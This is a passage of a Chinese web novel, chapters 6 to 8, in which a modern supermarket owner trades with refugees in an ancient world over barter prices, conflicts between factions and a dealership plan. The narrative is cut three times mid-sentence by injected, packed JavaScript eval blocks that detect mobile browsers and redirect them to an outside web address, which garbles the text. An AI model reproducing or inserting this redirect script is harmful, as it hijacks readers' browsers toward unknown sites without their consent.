周梨把钱充进了会员卡里交给乔四娘。 乔四娘捏着这张薄薄的“仙器”，感觉头重脚轻。 昭长雁说：“超市里的货物都标了价格，你若是看不懂，可唤我帮忙。” 乔四娘不识字，她局促地道：“我需要，谢谢你，常七娘。” 她其实不认识昭长雁，只知道对方自称姓常，家中行七，因而人称常七娘。 跟随乡人迁徙的这一路，她受到乡人的影响，对昭长雁的感官也不太好。 陈三他们说昭长雁坏话时，她也会跟着取笑昭长雁。 如今昭长雁主动帮她，她为从前的态度感到羞愧。 昭长雁想在周梨面前留下好印象，自然不会摆出厌恶楚人的态度。 超市外。 窦大郎见乔四娘的一根木簪竟然比他的虎皮还值钱，心酸之余，还得出面稳住大越这边的人。 如楚人所说，他们都是一群几乎被苛捐杂税掏空了家底，不得不远走他乡的流民。 他们若是还有值钱的物件，也不至于当流民了。 连窦大郎所珍藏的虎皮都不值钱，他们的身上还有什么能换钱？ 突然，窦大郎的妻子冼三娘说：“郎君，用这个妆盒去试试吧。” “这是你的妆奁。”窦大郎说。 冼三娘坚持让他拿走，他只好抱着试一试的态度，再度踏入超市。 【沉香木嵌螺钿漆盒】 年份：22年 产出日期：公元936年 持有人：冼三娘 起始价：31680元起（建议） 一口价：50000元（建议） 周梨暗惊，这个首饰盒竟然这么值钱！ 这是她目前看到过的最值钱的物件。 周梨刚要报价，心思一转，说：“这不是你的东西，我需要它的主人过来确认。” 这是为了避免有些人为了利益铤而走险，杀人越货。 虽然无法完全禁止，但能令心怀不轨之人产生敬畏之心。 窦大郎并不惊讶周梨会知道这物件的原主人不是他——神女神通广大无所不知，他们交接盒子的事自然瞒不过神女。 等窦大郎把冼三娘找了过来，周梨这才报价。 冼三娘也被这个价格吓了一跳。 她妆奁中毫不起眼的装饰盒子，在神女眼中，竟有如此高的价值？ 她果断地将它卖了。 近五万钱到手，冼三娘压抑内心的喜悦，跟窦大郎商量要如何合理地使用这笔钱。 因不确定这仙器“会员卡”会不会被人夺走，夫妻俩对外说的是这木盒只值两千钱。 反正没有人敢去找神女核对。 此时，楚人的注意力都在乔四娘的身上。 他们想看看乔四娘是不是真的用“会员卡”从神女的洞府里购买了货物。 不一会儿，乔四娘拿着一袋挂面出来了。 6. 第 6 章 乔四娘和昭长雁不一样，她在这世上并非举目无亲。 她还有一个弟弟乔五郎和一个妹妹乔九娘。 当初，她们的阿耶与叔父被抓去当兵并死在了战场上。 婶婶担心官府会把她们的堂兄乔二郎也强征去。 于是带着她们跟在同乡的队伍里南下躲避兵祸。 对内，她们或许只剩姐弟三人。 但是对外，她们跟婶婶、堂兄依旧是一家人。 所以，作为乔家的一员，她不能随心所欲地挥霍卖簪子所得的钱。 在决定购买什么货物前，她也需要慎重考虑。 思虑再三，乔四娘决定先填饱肚子再想别的。 昭长雁为了节省时间，直接对乔四娘说：“如果你想用最少的钱买最多的食物，除了米外，便只有面条了。” 超市有种5斤装的挂面，一袋只需18.9元。 据小老板所说，胃口小点的人能吃上50顿。 煮面只需加一点盐增味就足够了，不必用旁的佐料。 若非她没有灶具，她昨晚就选择买挂面了。 乔四娘心算了下大米和挂面的性价比： 18.9能买6.3斤大白米，煮成米饭有30人份，但没有配菜，光是大白米很难下咽。 煮成稀饭能吃更多顿，但很快就会饿。 最终，她还是决定买挂面。 当乔四娘结完账离开超市，周围如狼似虎的目光让她生出一种群狼环伺的感觉。 “四娘！” “阿姊。” 乔四娘的婶婶和弟弟妹妹挤开人群朝她奔来。 她们紧紧地将她护在中间，避免那群流民抢夺她手中的食物。 然而楚人无视了防备的她们，纷纷围过去： “乔四娘，里面都有什么？” “你手中的是面吗？怎么这么奇怪？” “里面的东西贵吗？” 乔四娘的婶婶声如洪钟：“你们有空在这里问东问西，还不如早点进去买东西，晚了可能就被人买光了！” 这话提醒了楚人和越人。 于是众人顾不得从乔四娘那儿打听情报，纷纷涌到超市门口。 为了谁先谁后的问题，他们甚至打了起来。 最后因为窦大郎那边多是窦氏的族人，他们团结对外，把并不是一条心的楚人按了下去。 超市里。 周梨举着手机，记录下这一幕。 她想好了，回家后要发一条搞抽象的短视频，标题就是——早期外星人团建活动现场珍稀录像。 系统问：“你不管管吗？” 周梨在心底回复说：“《跨位贸守则》第一条，谨记我们是来做生意的，不是来干涉异界内部民事纠纷的。” 系统：…… 有种既欣慰又无语的心情。 昭长雁有些好奇周梨手里的仙器，但还没来得及打听，周梨便收了起来。 因为窦大郎和冼三娘进来扫货了。 其余越人要么在外面拦着楚人，要么进来跟周梨以物换钱。 大抵是周梨收了两次跟木有关的物件，越人以为她偏好草木。 于是收银台上出现了包括但不限于木棍、扁担、箸（筷子）、搓衣板等木制品。 周梨：…… 这些都是普通的木材，压根不值几个钱。 越人一听，这价钱卖了亏了，还不如留着继续使用。 这时，冼三娘大胆猜测：“或许，我与乔四娘的物件值钱，是因为木材、技艺以及年份。” 乔四娘的簪子是祖传的，年份高，但是技艺并不复杂，所以便宜。 她的木盒，准确的说是漆盒，采用了螺钿工艺。 所谓“螺钿”，是指将贝壳磨成薄片，然后镶嵌进漆器、木盒、乐器等物件里。 越人不敢向周梨求证。 “女，你姼公（外公）给你的镇纸呢？”大越妇人问她身边的孩童。 五六岁大孩童正低头揪身上的山蚂蝗，闻言，转身去扒拉背篓。 没一会儿，就拿出了一块长方形条状的木制品，递给母亲。 妇人赶紧呈给周梨。 系统一扫描。 【紫檀诗文镇纸】 年份：196年 产出日期：公元762年 持有人：窦女 起始价：35000元起（建议） 一口价：40000元（建议） [注：成对价值更高。] 周梨问：“只有这一块吗？” 只有窦大郎懂中原雅言，妇人忙把他拉过来帮忙翻译。 窦大郎若有所思地说：“这镇纸很明显是一对的，一对的话更值钱。” 妇人一个激灵，亲自去背篓里扒拉。 很快，她就翻出了另一块镇纸。 之前那块镇纸刻着诗文，这一块刻着花鸟。 这两块合在一起就是【紫檀花鸟诗文镇纸（对）】 拍卖起始价瞬间涨至8万元。 因上面的木刻属于精雕细琢，上面的诗文似乎也有研究价值，所以一口价高达14万元。 周梨：…… 这些流民可真是一个塞一个有钱。 不过，她没记错的话，大越盛产名贵的木料，什么沉香木、紫檀木、黄花梨木，乃至有“帝王木”之称的金丝楠木。 普通老百姓不一定知道这些木头的价值。 再者，也不是所有用这些木料制作出来的物品都值钱。 ——如果有人现场用黄花梨木雕刻一根木簪出来，那大约只值80块。 只有那些有些年份，又或者像冼三娘那个妆盒一样用了特殊工艺的物件才有价值。 周梨担心直接告知价格，会让妇人被人盯上。 所以她问：“你是直接拿卡，还是想改变主意？” 大越妇人一愣。 半晌，她急忙说：“直接给我仙器就好了。” 门外众人好奇得很，到底兑了多少钱啊？ 她的孩子忍不住了，哭诉：“娭毑（母亲），我好饿，好疼。” 周梨没忘记这孩子身上有山蚂蝗，她把昭长雁招来：“带她们去处理身上的山蚂蝗。” 这些流民里，只有昭长雁有相关经验。 妇人原本有些警惕昭长雁楚人的身份，但想到这里是在仙人的洞府，对方断然不敢在这里行窃抢夺，于是扯着孩子跟她进入了卫生间。 窦大郎和冼三娘继续买东西，周梨则继续帮人把东西挂拍卖行拍卖。 突然，卫生间传来了孩子凄惨的哭声。 楚人和越人不约而同地哆嗦了下，看向周梨的目光带上了恐惧。 周梨：…… 她这里真不是黑山老妖的窝，他们信么？ 很快，他们的注意力就被窦大郎和冼三娘吸引去了。 只见窦大郎扛了两袋5公斤装的大米出来。 他另一只手还提着一个蓝色的材质不明的桶，里面装了小半桶袋装盐、小半桶糖和别的杂物，腋下还夹着草席和蚊帐。 冼三娘的两只手也没有空着，一手提着汤锅、铁锅、洗菜篮子——周梨用绳子帮她把它们的耳朵给串在了一起。——另一只手也提了一个桶，桶里装着“阳江十八子”、几袋挂面等。 他们已经决定带领族人在山下定居。 把农具和牛都带出来的他们并不缺少开发森林、建立村寨的工具，只有食物来源的问题困扰着他们。 现在，食物的问题解决了，一切都好起来了。 窦大郎对越人说：“从阳山关古道到这里需要不少时间，你们先回去把逗留在古道的人带过来，我们今晚就在这山上过夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333621|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。明日再下山择址建寨。” 越人不太理解：“我们就住在这山上不行吗？” 窦大郎说：“你想住山上，也得看神女答不答应。再说，住山上哪有住山下方便？” 山上虽然有一小片草地，却不算平坦。 而且，他宁愿住在山下，偶尔上山来采购一次，也不愿意住在山上，天天下山狩猎、劳作。 越人觉得有道理，纷纷按照他的话来行动。 楚人那边，老翁他们也在商量要不要在附近定居。 虽然这里没有广袤的平原可供他们耕种，但有神仙呀！ 继续南下到达有人的乡村，被人排挤不说，还会被官府盘剥。 躲在这里至少有神女庇佑…… 越来越多的楚人倾向在此安家。 陈老翁决定少数服从多数，说：“那就在山下圈地，别让越人把好地全占了。” * 周梨并不清楚，一场争地的纷争正在酝酿。 但她能看出楚人与越人之间愈发剑拔弩张。 因为楚人进来买盐的时候发现已经没有了。 他向楚人告状：“定是被大越那伙人买光了！” 这么便宜的盐被一方买完，跟他们的家产被抢有什么区别？ 楚人群情鼎沸。 周梨赶紧说：“盐？还有！” 她直接进仓库，搬出了一大箱食用盐。 一箱50包，仓库里还有七八箱。 因盐的保质期长，而她家的小超市又是十天半个月才进一次货，所以食用盐囤的比较多。 众人这才被安抚下来。 卫生间里。 昭长雁把孩子身上的山蚂蝗都弄掉了，顺便用水给她冲了身子。 说：“仙人洞府里有防止伤口感染发脓的东西，叫创可贴。你等会儿买了，帮她把被山蚂蝗咬的地方都贴上。” 越妇人之前就有些好奇了，这楚女会说中原雅言，竟还懂土语。 昭长雁说：“我阿耶是读书人，娭毑是土家人。” 越妇人算是彻底对昭长雁放下了戒心，嘴里不住地道谢。 昭长雁看到她，想起了自己的阿娘，又心软地多叮嘱了几句：“还有，小老板不愿意告诉你卡里有多少钱，肯定是怕被人听了去，心生觊觎。你若想知道里面有多少钱，可以趁没人的时候偷偷问小老板。别人问起，你便说只有几千钱。” 越妇人应了下来。 昭长雁将母女带出去，开始了导购的工作。 越妇人不清楚自己卡里有多少钱，买起东西不免有些畏首畏尾。 再者，她也怕被人抢劫，所以除了买创可贴，她只买了几根棒棒糖哄孩子，以及能填饱肚子的包子。 结账的时候，她悄悄地通过昭长雁询问周梨：“神女，若是我们的仙器被人抢走了怎么办？” 周梨说：“若是被人抢走，可以来补办。” 越妇人咬了咬唇，追问：“若是抢了我们仙器的人来这里置物，神女可会认？” 周梨说：“既然可以补办卡，那我自然是认人不认卡的。放心吧，给你们的卡都是实名注册的，他人无法使用。” 系统将该位面土著的东西放到拍卖行拍卖时，会给他们生成一个账户。 会员卡里的钱是通过这个账户划入的，等于一张卡绑定了一个账户。 卡上没写名，可账户是唯一性的，上面有户主的信息。 她或许不记得持卡人的模样，可系统会实时监测。 越妇人离开超市的时候，故意将卡给孩子，说：“女，把卡放到背篓里，不用担心被偷了。神女可说了，这仙器是认主的，只能我们用。” 窦女舔着棒棒糖，高兴地点了点头。 周围的人都听到了她的话。 那些准备靠“劫富济我”为生的人都傻眼了。 7. 第 7 章 尽管周梨已经尽可能地保障顾客的权益了，可人心贪婪。 为了利益，“劫富济我”的手段层出不穷。 ——会员卡不能抢，用会员卡买的东西总能抢吧！？ 越妇人母女便亲眼目睹了乔四娘刚煮好的面，便被一个男人连锅端走。 虽然她的婶婶、堂兄、弟弟妹妹都去追了，却被对方的帮凶给拦了下来。 等她们找到罪魁祸首时，汤面早就吃完了，她们只拿回来一个锅。 事后，她们去找陈老翁主持公道。 陈家村的人却以她们不姓陈，不是陈家村人为由，联合起来排挤她们。 陈老翁虽是村长，可离开了故土，他的威望和职权都下降了许多。 再说，他的心其实也是偏向自己人的。 乔四娘无法，想去找周梨帮忙。 不过因是午饭时间，周梨上楼做饭去了。 正在看店的昭长雁说：“我说过，神女不会为了凡人沾上因果。” 乔四娘红了眼眶。 心里生出了一丝怨念。 昭长雁漠然：“今日你们被抢了，请求神女出手。明日别人被抢了，也祈求神女出手。久而久之，你们便会养成了有麻烦找神女处理的习惯。而神女要修行，也不愿意沾上因果，当她离去，没有人能替你们解决麻烦，你们是否会怨恨她？” “可是……” 昭长雁恶狠狠地说：“我要是你，便买一把刀，谁敢来犯，就用他的血来喂刀！” 乔四娘猛地想起，昭长雁可是出了名的煞神。 虽然她的行为颇为人诟病，也使其备受排挤，可在她凶悍的形象下，的确没有人敢去招惹她。 乔四娘豁然开朗。 她带着破釜沉舟的决心买了一套“阳江十八子”。 一套刀具有四把刀，分别是可砍断猪骨头的斩切刀、最常用到的切片刀、水果刀，还有一把剪刀。 乔四娘把切片刀交给婶婶，把水果刀交给堂兄，自己则用斩切刀。 她放狠话：“你们想欺负我们，便别怪我们心狠手辣。左右不过一条烂命，端看你们谁想要跟我以命换命。” 乱世拳头为王。 谁够狠，谁才能活下去。 目睹了这一切的众人，眼神闪烁。 似乎有什么正在悄然发生变化。 * 自建房二楼。 周梨站在窗边，将这一幕收入眼底。 她觉得昭长雁的做法没错。 她固然可以通过禁止宵小之徒来超市买东西的方法震慑众人。 可这不是长久之策。 因为上了黑名单的人还可以找别人帮忙买东西。 搞连坐都没法完全杜绝这种情况。 而且一旦她出面了，最终结果却无法如他们所愿，他们又是否会反过来怪她？ 周梨忽然颇为惋惜地说：“昭长雁年纪小小就活得如此通透，要是能一直给我打工该多好。” 系统说：“你可以录用她当正式员工。” 周梨摇头：“她能说出那番话，说明她是个心气高的。她不会止步于此。” 她抽了抽鼻子：“话说，系统，你有闻到焦味吗？” 系统：“闻不到，不过你可以到厨房看看，是不是锅里的红烧肉焦了。” 周梨：啊啊啊啊！ 我上好的五花肉！ 二十分钟后。 周梨用一次性饭盒盛了午饭下楼给昭长雁。 昭长雁十分动容。 没想到小老板为她准备的饭菜这么丰盛。 虽然那些肉看起来有些焦黑，但闻起来十分诱人。 她迫不及待地咬了口，忍不住夸赞：“我从未吃过这般好吃的肉！这是什么肉？” “红烧肉。”周梨颇为自豪地说。 系统：“……你自豪什么，用的是现成的红烧肉调料包，唯一出力的地方只有把猪肉从冰箱里拿出来解冻。” 周梨腹诽：“我焯水了啊，做红烧肉，焯水去臊可是关键！” 昭长雁十分吃惊。 红烧肉用的不是猪肉吗？为什么小老板烹煮的红烧肉没有臊味？ 她感慨：“果真是神仙佳肴呀！” 周梨：…… 不知道你脑补了什么，但绝对不是那么回事。 … 昭长雁吃饭的时候，周梨接过了导购的工作。 好在上午那些成功拿到会员卡的人，用自己的经验指引了后来者。 每个来找她的人都不会再纠结徘徊。 一个下午过去，周梨又成功地为小超市固定了二十多个会员。 加上昭长雁与上午那些办会员卡的人，一共是32人。 楚人和越人加起来近200人，但因很多人都是以家庭为单位的，所以显得办卡的人不多。 不过，这32张卡储值已经超过25万元。 ——大部分人拿出来兑换的东西价值都在千元以下，像冼三娘这样储值近五万元的寥寥无几，储值超过10万元的更是只有窦女。 … 来买东西的人从早到晚，不曾间断。 期间有不信邪，试图偷东西的，也都被防护罩给丢出了超市。 这大大地震慑了那些宵小之徒，再也没有人敢对超市动歪念。 天色渐暗。 小超市如同黑夜中的灯塔，它散发出来的光为流民带去了方向。 在距离超市三十多米的草地上，流民们择地而栖。 许是受白天的事件影响，原本只有楚人和越人两个阵营的流民，如今分成了大大小小几十个小团体。 不过，楚人休息的地方与越人还是相隔甚远的。 以超市正门为中心，门前刚被人踩踏出来的路犹如楚河汉界。 楚人在左边，越人在右边。 窦大郎和冼三娘支起了今天刚买的蚊帐。 他们有孩子，所以买的180*200cm且自带支架的蚊帐。 蚊帐里面再用几张草席铺开，一家四口打横躺上去也绰绰有余。 其他人见状，才发现自己光顾着买吃的，漏了这么重要的东西没买。 好在超市晚上也开门。 于是晚上七八点，超市又迎来了一波抢购潮。 但尴尬的是，蚊帐的库存没这么多了。 因为现代很多人家都会装防蚊纱窗，要么使用蚊香、蚊香液等，蚊帐的受众只有那些住在老旧宅子里的老人家。 所以小超市只备了十几顶。 周梨在采购清单上添加了蚊帐，以便回去后，能多备一些库存。 突然，周梨看到了库存里的某件商品。 她灵光一闪，说：“虽然没有蚊帐了，但是有防雨篷布。这山里经常下雨，你们可以搭个棚子，既防雨又能形成相对封闭的空间。虽然防蚊虫的效果没有蚊帐那么好，但你们可以点上蚊香，就不用担心被蚊虫叮咬了。” 防雨篷布在村镇用途广泛，很多农民开着三轮车把果蔬送到镇上去卖，遇到下雨天就需要用篷布盖一下。 还有人家会在门前空地、庭院弄个遮阳棚，也需要用到篷布。 更别说现在七成村民都开上了小轿车，他们的车子停在空地时也需要篷布防晒。 因此，发现这个商机的周好囤了1000平方米的篷布在仓库里。 周梨刚接手小超市那会儿问她为什么要囤这么多，她理直气壮：“1000平方起会便宜8毛钱。” 一卷篷布宽2米， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333622|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长10米，批发价是7元/平方米，售价是10元，需要多少裁多少。 流民大喜。 有了这布，他们就不用再去找芭蕉叶充当临时住所的屋顶了。 窦大郎也买了一卷，然后用今天买的剪刀裁成他所需要的大小，再与人合力在蚊帐上方搭了一个简易的大棚。 以往这时候，众人早就进入梦乡了。 可这会儿，山顶热闹得像在后世的工地。 ——超市的光那么明亮，不起来干活怪浪费的。 直到晚上十点，超市要关门了，流民们才陆陆续续开始歇息。 … 昭长雁没有在超市过夜。 她下班后，就带着自己的东西到门外“筑巢”。 周梨允许她在门口安营扎寨，因为顶上有遮阳棚。 哪怕半夜下雨，她也有个能避雨的地方。 而在流民们看来，这是昭长雁作为神使的地位进一步巩固了。 若非如此，神女怎么会允许她守在洞府门口？ 昭长雁任由他们脑补。 挂起蚊帐，把钻进里面的蚊子赶跑后，她就准备休息了。 这时，乔四娘摸了过来。 她对昭长雁发出了邀请：“常七娘，夜里山上有些凉，不如你来我们这儿吧，我们搭了棚子，能遮风避雨。” 昭长雁说：“不必，我在这儿挺好的。” 她清楚乔四娘的心思——吃过没有小团体的亏，所以也想跟人抱团。 她在别人的眼里就是一匹孤狼，桀骜凶狠的狼。 如果能把她拉拢到身边，等于手中多了一把刀。 可他们也不想想，她这把刀是这么好拿捏的吗！？ … 自建房三楼，书房。 周梨并没有入睡。 她拉上窗帘，打开电脑，默默地更新采购清单。 过去的采购单是根据现代人的需求制定的。 开启跨位面贸易后，商品的种类就得更新了。 如果跨位贸业务开展顺利，那这个位面就是她开拓的第一个市场。 所以小超市采购的商品，就得以这时代的百姓的需求为主。 但是，也得把百姓的购买力考虑进去。 别到时候她采购了一堆价值上万元的东西回来，结果却没什么人买得起。 “首先乱世里食物和水是最紧缺的，可以多采购点便宜的米面……俗话说，授人以鱼不如授人以渔，这时代应该还没有美洲的作物传过来，可以带点红薯、玉米、土豆来。百姓是否愿意种植，又能否推广开来，就是这个位面的事了。” “然后是农民赖以为生的农具……这个得问妈妈才知道哪有卖。” 在接手超市前，她有近十年时间都是在市区或外地度过的，对镇上的事不大了解。 “油、盐和糖也得多进点，黄豆这些用途广泛，也能多备点。” “对了，我看这些流民无论男女老幼都一副面色蜡黄的模样。一开始还以为他们是饿得，可是仔细想想，长期忍饥挨饿的人肚子会胀鼓鼓的吗？结合这边的环境，他们有可能是得了血吸虫病……还得采购点非处方的抗生素药，以及驱虫药。” 周梨顿了下，又把药品从清单上移开。 她家的小超市并没有取得《药品经营许可证》，她买的药可以私下用，也可以私下卖，却不能入超市的账。 如果百姓用会员卡买药，就会导致超市的账目出现混乱。 “生南瓜子好像可以驱虫。” 周梨把南瓜加到了采购清单上。 南瓜、红薯和玉米属于生鲜，她可以在超市划出个生鲜区。 就在周梨忙得忘我时，她听见了雨水敲打窗户的声音。 下雨了。 8. 第 8 章 这场雨下得有些猝不及防。 很多抱着侥幸心理，没有买篷布的流民，在雨水的拍打下醒来，又狼狈地到处寻找能避雨的地方。 山上的树很少，树叶也稀疏，没有人选择在树下避雨。 他们便去求助那些买了篷布，架起了大棚的人。 昭长雁几乎在雨丝落在脸上的那一刹那就睁开了眼。 她待的地方虽然有超市的遮阳棚，但雨水受到风力的影响从侧边泼了进来，湿了门前的地板砖。 昭长雁干脆收起东西，靠着墙假寐起来。 忽然，她听见了越来越近的脚步声。 睁眼一看，是乔四娘。 她戴着斗笠，穿着蓑衣，手里还拿着另一件蓑衣。 对上昭长雁戒备的眼神，乔四娘心中一紧，但想到自己不是来做坏事的，又镇静了不少。 她没有和昭长雁说话，只是将蓑衣放昭长雁身边后，又迅速朝自家的小棚跑去。 昭长雁没有将蓑衣扔出去。 虽说她对别人的善意始终抱着警惕之心，却不会随意糟践别人的善心。 不过，担心会被讹上，她也不敢用乔四娘的蓑衣。 …… 这一夜，虽然流民们被这场雨打了个措手不及，但基本没生出什么乱子。 然而，流民们很清楚，这只是暴风雨来临前的宁静。 越人和楚人都想在这里定居，好抢占“神仙洞府”里的资源。 接下来他们之间必然会因为资源的分配而发生争斗。 翌日上午。 超市开门营业后，周梨就发现了局势发生了微妙的变化。 具体的说，双方都有组织、有计划地从超市里购买商品。 刀具是继食物和水之后，第三热销的商品。 排在刀具后面的是铁锅，以及不锈钢材质的盆。 周梨悄悄问系统：“他们该不会发生械斗吧？” 系统：…… 周梨想了想，说：“不行，我好不容易等来的客源，每损失一个人，营业额都算下滑呀！” 系统问：“你不是不打算介入他们的纠纷？” “做人要圆滑，老祖宗的智慧教会我们，要懂变通……我直接介入是会给人留下话柄的，所以可以用某些策略，间接地影响一下局势的发展嘛。” 系统说：“言之有理，但我不是人。” 周梨：“……倒也不用这么骂自己。” 系统：“……你打算怎么做？” “让他们加入WTO，不是，让他们加盟超市，我就能出面调停了。” 周梨的设想是，借鉴加盟店的模式，让楚人和越人都来找自己拿货，当二道贩子。 然后按区域划分他们的销售活动范围，类似“百米内不允许出现同一个品牌的加盟店”这样的规则，这样就能避免他们打起来。 而且，授予他们经销权后，他们会想办法将这些商品卖出去。 等他们把目光放到远方后，自然不会再因为一点蝇头小利而跟对方大打出手了。 至于他们的野心膨胀后，会不会生出吞并对方的心思，那就是商战领域的事了。 再者，就算周梨不提出来，在巨大利益的引诱下，这些人也迟早会走上当二道贩子的道路。 她何不提早把控制权掌握在手中？ 不过，她没有立刻提出来。 而是等某些商品的需求达到饱和后，才对昭长雁说：“这两天辛苦你了。” 昭长雁面上不显，内心却是一惊。 这话的意思，莫不是自己的导购工作结束了？ 她有此猜测，是因为她发觉很多流民已经适应了超市的模式，也弄清楚了购买流程，不再需要导购了。 这意味着，她的临时工作结束了。 尽管知道自己不可能会一直在这里干下去，但昭长雁心头还是有些遗憾的。 如果时间再久一点，她就能离小老板更近一些，日后的谋算成功率才会更高一些。 昭长雁说：“小的何其有幸，在困难之际得遇小老板。蒙小老板厚爱，予我神仙佳肴……为小老板做事，再辛苦也是值得的。” 她的回答藏了点小心思。 毕竟回答不辛苦，可能会给神女留下她干活时偷奸耍滑的印象。 因此，要表现自己的同时，也把神女捧高了。 周梨再次跟系统感慨：“她祖籍山东的吧？这么会说话。” 嘴上对昭长雁说：“你做事利索，又聪明伶俐，若是可以，我真想让你一直留在这儿帮我。” 昭长雁面上讶异又十分感动。 她正要拒绝。 周梨话锋一转：“不过，金鳞岂是池中物，一遇风云便化龙……我这池子留不住你。” 这话直击昭长雁的灵魂深处，让她浑身一颤，愕然地看着周梨，久久无法回神。 系统：“……你也不遑多让。” 周梨腹诽：“你当我这大半年的习题白做，课白上的？” 昭长雁明白过来，神女是看穿了她的身世，也看穿了她的野心。 幸运的是，神女并未因此而厌恶她。 她嘴唇嗫喏，刚想说什么。 周梨说：“虽然我无法留你，但你我还算有缘，我给你一个笼络人心的机会，不知你要不要？” “要！”昭长雁态度坚定。 意识到自己太急切了，她又找补：“昭长雁谢神女所赐机缘。” 系统：“你把她发展为下线，她却以为你要赐她机缘！” “我很快就要搞限购，在那之前，我给她一个代理商的身份，谁想当经销商，就得先找她，这不算机缘算什么？” 系统见识到了人类的狡猾。 周梨把她的计划告知了昭长雁。 后者立马就意识到，这才是真正坐实了“神使”的身份！ 果然是大机缘！ 她扑通地给周梨跪下，按照楚国贵族平常祭祀祈神的礼仪，给周梨行了大礼。 周梨：…… 也不用行这么大的礼。 她之所以挑昭长雁，其实是因为这小姑娘脑子灵活。 对她的话进行艺术的加工后，立马就显得她神秘强大、高深莫测起来。 虽然周梨无意装神弄鬼，但这重身份也能给她减少许多麻烦，何乐而不为？ * 昭长雁下了一趟山。 她先是找到了正在组织越人砍伐灌丛，清理出空地的窦大郎。 窦大郎问：“常七娘？你怎么不在神女的洞府里？” 昭长雁说：“我前不久获悉，小老板有意限制大家购买的物什的数量。” 窦大郎一惊，旋即想到自己这边囤的物资，又淡定了。 “你跟我说这些做什么？” 他心想，限制了才好！ 以后便不必担心楚人把东西买完，连累他们没得买了。 昭长雁说：“我知道你这几日买的东西足够你们吃上数月。可你满足了吗？” 窦大郎挑眉，他当然不会满足。 他渐渐地回过味来。 别看昭长雁的年纪小，她的心眼一点儿都不少。 此番来找他说这些话，必然是有好事。 “常七娘有何指教？” “指教谈不上。”昭长雁早就想好了措辞。 当初她以周梨怜悯苍生，但又不能沾因果，才通过低价售卖食物、杂货给百姓的方式救助苍生……之类的话唬住了众人。 如今，她自然可以在这些设定上继续造势。 比如，天下还有很多正饱受天灾人祸之苦的百姓。 神女无法亲临各地，只能通过信徒“传道”——“信徒”可以从超市那儿采购大量的货物，再卖到骑田岭以外的地方。卖给那些因物价过高、苛捐杂税众多而吃不饱饭的穷苦百姓，让他们能吃上便宜又饱腹的食物。 窦大郎或其族人充当的便是“信徒”的身份。 窦大郎闻言，果然十分心动。 他故作犹豫：“可若是被更多人知道了这里……” 他还是担心会有人来抢原本属于他们的份额。 昭长雁并不意外窦大郎的自私。 当初她刚发现超市时，也曾生出过隐瞒的心思。 但得知里面的货物不会短缺后，才告诉了外人。 她说：“知道又如何？只要能得到经销权，就能从小老板那儿买到更多的货物。那些货物你要留着自用，还是卖出去都可以。” 窦大郎豁然开朗。 其实他也不是完全没有这个想法。 早在陈三的家人跟同乡买东西的时候，他就看到了商机。 只是这些东西毕竟是从神女那儿买的，他们怕私下转卖出去会遭神女厌恶。 如今，神女放开了权限，他就没有这层顾虑了。 他要回去跟冼三娘商量——钱在冼三娘那儿，得冼三娘点头。 … 昭长雁找的第二个人不是陈老翁，而是乔四娘。 陈老翁虽然是村长，具有一些话语权，但他这些日子里的不作为，让她不悦。 作为村长，无法做到处事公允，自然难以服众。 现在没人反抗他，不代表以后没有。 楚国的流民内部迟早会乱起来。 与其找这些人，还不如找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333623|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔四娘。 一来，她跟别人不熟，只和乔四娘有些许往来。 既然神女要给她一个笼络人心的机会，她便得让大家知道，只有跟她走得近的人才有机会获得“经销权”。 二来也算是对乔四娘那晚释放的善意的回报。 乔四娘一家能否抓住这次的机会，改善自家的处境，就靠她们自己了。 … 窦大郎把这个机遇告诉冼三娘后，冼三娘知道机会难得，立刻跟窦大郎去把这个名额落实了。 只是他们还是慢了一步，因为昭长雁还把消息透露给了乔四娘。 乔四娘非常心动，但她自知以自己的积蓄，没法采购大量货物，且也护不住这些货物。 于是她找到了疑似流民中最有钱的越妇人窦娘。 窦娘说：“这种事，我找窦大郎合作就行了，为什么要跟你们楚人合作呢？” 乔四娘说：“你跟窦大郎不是一族的吧？虽然你们都说土话，但是还是有区别的。我能听出，你们的口音不同。” 楚越两地，土家的方言体系有三大类。 每一大类底下又会细分出多种口音。 甚至还会出现“五里不同音”的情况。 虽然近几十年，北人不断南迁，各种文化融合、口音也相应地发生了变化。 但乔四娘还是能听出差异的。 而如她所猜测的那般，窦娘虽然姓窦，但跟窦大郎不是出自一族。 窦大郎虽然也说土语，但他的祖籍在燕地。 他的祖先当初来岭南为官，然后为了稳定地方势力，选择跟岭南的俚族首领联姻。 后来因触怒了皇帝，险些被灭族。 活下来的窦氏子孙便隐居在土人、俚人聚居的地方。 而窦娘。 她出自土家一个女子当家的寨子。 